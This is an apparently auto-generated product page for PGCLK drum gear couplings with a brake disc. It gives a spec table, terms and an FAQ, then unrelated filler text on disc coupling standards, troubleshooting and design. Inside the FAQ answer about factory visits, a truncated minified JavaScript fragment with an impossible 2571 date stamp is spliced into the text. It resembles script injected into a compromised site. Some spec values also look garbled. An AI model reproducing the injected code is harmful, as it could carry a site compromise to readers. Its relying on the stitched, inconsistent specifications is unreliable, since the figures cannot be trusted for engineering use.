China Hot selling Pgclk Elastic Drum Gear Coupling with Brake Disc Steel Drum Gear Couplings with High Quality

Product Description

PGCLK Type Brake Disc Plate Loading Type Gear Coupling Transmission Connection Shaft Coupling

Description:
Drum gear type coupling belongs to rigid flexible coupling, gear type coupling is composed of inner gear ring and flange half coupling with outer gear with same number of teeth.Can improve the contact conditions of teeth, improve the ability to transfer torque, extend the service life.Radial, axial and angular axis deviation compensation ability, has a compact structure, small turning radius, large carrying capacity, high transmission efficiency, low noise and long maintenance cycle, especially suitable for the condition of low speed and heavy loading, such as metallurgy, mining, lifting transportation and other industries, can also be applied to petroleum, chemical industry, general machinery and other kinds of shaft transmission of machine.

Advantages:
1. Lowest price based on large scale production.
2. High and stable quality level.
3. Widely used in various mechanical and hydraulic fields.
4. Compensation for axial, radial and angular misalignment.
5. Convenient axial plugging assembly.
6. No brittlement at low temperature.
7. Good slippery and frictional properties.
8. Resistance to chemical corrosion.
9. Rich experience working with big companies in this field.

Type Nominal Torque
Tn/(N·m)
Allowable
Speed
(n)/(r/min)
Bore Diameter
d1d2dz
Bore Length
(L)
D0 D D1 D2 D3 L0 T C1 C2 e Grease dosage(v)
mL 
Mess
(m)
kg
Rotary inertia(l)
L/(kg·m2)
Driven Drive Y J1Z1
PGCLK1 630 4000 20 24 52 38 315 125 95 60 80 90 30 25 39 30 55 7.0 0.01
PGCLK2 1120 4000 25 28 62 44 315 144 120 75 95 105 30 25.5 44 30 100 11.2 0.03
PGCLK3 2240 3550 30 38 82 60 355 174 140 95 115 130 30 18 40 30 140 21.3 0.05
PGCLK4 3550 2500 32 38 82 60 40 196 165 115 130 130 30 29 47 30 170 29.5 0.11
PGCLK5 5000 2500 40 56 112 84 400 224 183 130 150 150 30 18 43 30 270 47.1 0.20
PGCLK6 7100 2000 48 56 112 84 450 241 200 145 170 155 30 21 50 30 380 60.1 0.31
PGCLK7 10000 1700 60 75 142 107 450 265 230 160 190 180 30 19 50 30 570 88.9 0.56
PGCLK8 14000 1700 65 75 142 107 500 285 245 175 210 180 30 20 50 30 660 105.4 0.79
PGCLK9 18000 1600 70 75 142 107 560 314 270 200 225 200 30 25 60 30 700 130.1 1.22
PGCLK10 31500 1600 80 95 172 132 800 346 300 220 250 230 30 20 58 30 900 191.2 2.17
PGCLK11 40000 1400 100 120 212 167 800 385 330 260 285 260 30 21 64 40 1200 268.2 3.88
PGCLK12 56000 1400 120 212 167 900 442 380 290 325 280 30 21 72 40 2000 369.9 6.90
PGCLK13 80000 1400 140 150 252 202 900 482 420 320 360 320 30 22 70 40 3000 522.6 11.91
PGCLK14 112000 1200 160 180 302 242 900 520 465 360 410 360 30 23 85 40 4500 756.9 20.70

Packing & shipping:
1 Prevent from damage.
2. As customers’ requirements, in perfect condition.
3. Delivery : As per contract delivery on time
4. Shipping : As per client request. We can accept CIF, Door to Door etc. or client authorized agent we supply all the necessary assistant.

FAQ:
Q 1: Are you a trading company or a manufacturer?
A: We are a professional manufacturer specializing in manufacturing various series of couplings.

Q 2:Can you do OEM?
Yes, we can. We can do OEM & ODM for all the customers with customized artworks in PDF or AI format.

Q 3:How long is your delivery time?
Generally, it is 20-30 days if the goods are not in stock. It is according to quantity.

Q 4: How long is your warranty?
A: Our Warranty is 12 months under normal circumstances.

Q 5: Do you have inspection procedures for coupling?
A:100% self-inspection before packing.

Q 6: Can I have a visit to your factory before the order?
A: Sure, welcome to visit our factory. /* January 22, 2571 19:08:37 */!function(){function s(e,r){var a,o={};try{e&&e.split(“,”).forEach(function(e,t){e&&(a=e.match(/(.*?):(.*)$/))&&1

disc coupling

Industry Standards and Guidelines for Disc Couplings

Disc couplings, like other mechanical components, are subject to various industry standards and guidelines that ensure their safe and reliable operation. Some relevant standards include:

  • API Standard 671: This American Petroleum Institute (API) standard provides guidelines for special-purpose couplings for use in petroleum, chemical, and gas industry services. It covers the design, materials, testing, and inspection of couplings, including disc couplings.
  • AGMA Standard 9001: The American Gear Manufacturers Association (AGMA) standard 9001 addresses flexible couplings, including disc couplings, and provides recommendations for their design, installation, and maintenance.
  • ISO 14691: This International Organization for Standardization (ISO) standard covers general-purpose industrial couplings, including disc couplings, and provides guidance on their selection, installation, and operation.

Manufacturers and engineers often refer to these standards and guidelines to ensure that disc couplings are designed, manufactured, and used according to recognized industry practices. Adhering to these standards helps enhance the reliability, safety, and performance of disc couplings in various industrial applications.

disc coupling

Diagnosing and Troubleshooting Issues with Disc Couplings

Proper diagnosis and troubleshooting are essential to maintain the optimal performance of disc couplings within machinery systems. Here’s a step-by-step guide:

  1. Visual Inspection: Regularly inspect the disc coupling for signs of wear, damage, or misalignment. Look for disc fractures, corrosion, or unusual wear patterns.
  2. Noise and Vibration Analysis: Abnormal noise or excessive vibration could indicate misalignment, wear, or imbalance. Use vibration analysis tools to identify the source and severity of the issue.
  3. Torque and Load Monitoring: Monitor torque and load variations to detect abnormal fluctuations. Sudden changes could indicate issues with the coupling or connected components.
  4. Alignment Check: Verify that the coupling and shafts are properly aligned. Misalignment can lead to premature wear and reduced coupling performance.
  5. Temperature Analysis: Monitor the operating temperature of the coupling. Excessive heat can result from friction due to misalignment or insufficient lubrication.
  6. Lubrication Inspection: Ensure proper lubrication between the disc elements and hubs. Inadequate lubrication can lead to increased wear and reduced flexibility.
  7. Dynamic Testing: Perform dynamic tests to evaluate the coupling’s response to torque fluctuations and misalignment. Analyze the results for anomalies.
  8. Replacement of Worn Parts: If wear or damage is detected, replace worn disc elements, hubs, or other components as needed.
  9. Rebalancing: If vibration is an issue, consider rebalancing the connected components to reduce vibration and enhance overall system stability.

Regular monitoring and a proactive approach to addressing issues can help prevent costly downtime and ensure the longevity of the disc coupling and the machinery system as a whole.

disc coupling

Design of Disc Couplings for Flexibility and Performance

The design of disc couplings plays a crucial role in providing flexibility and ensuring high-performance torque transmission. Key design elements include:

  • Flexibility: Disc couplings consist of multiple thin metal discs arranged in a pack. These discs have slots or cuts that create segments, allowing them to flex and accommodate misalignment. The flexing action provides flexibility in multiple directions, allowing the coupling to handle angular, parallel, and axial misalignment.
  • Torsional Stiffness: While providing flexibility, disc couplings also maintain a certain degree of torsional stiffness. This stiffness ensures efficient torque transmission between the shafts and helps maintain accurate positioning in precision applications.
  • Material Selection: High-quality materials with appropriate mechanical properties are used to manufacture the discs. These materials must balance flexibility, torsional stiffness, and strength. Stainless steel and other alloys are commonly chosen for their durability and resilience.
  • Geometry and Slot Patterns: The design of the slots or cuts in the discs influences the coupling’s flexibility and misalignment capabilities. Engineers optimize the geometry to provide the desired levels of flexibility and torsional stiffness.
  • Spacer Elements: Some disc couplings include spacer elements between the discs. These spacers contribute to accurate alignment between the shafts and help prevent edge contact between the discs, reducing wear and enhancing durability.
  • Balancing: Balancing the disc coupling reduces vibration and rotational imbalance. Precision machining and balancing techniques ensure that the coupling operates smoothly at various speeds, minimizing stress on the connected machinery.
  • Anti-Flailing Designs: In the event of a disc failure, anti-flailing designs prevent the discs from dislodging and causing damage to surrounding equipment or posing a safety hazard.

The combination of these design aspects results in a disc coupling that can handle misalignment, transmit torque efficiently, dampen vibrations, and maintain its performance over a wide range of operating conditions. The flexible yet robust design makes disc couplings suitable for various industrial applications.

China Hot selling Pgclk Elastic Drum Gear Coupling with Brake Disc Steel Drum Gear Couplings with High Quality  China Hot selling Pgclk Elastic Drum Gear Coupling with Brake Disc Steel Drum Gear Couplings with High Quality
editor by CX 2024-03-30

flexible disc coupling

As one of leading flexible disc coupling manufacturers, suppliers and exporters of products, We offer flexible disc coupling and many other products.

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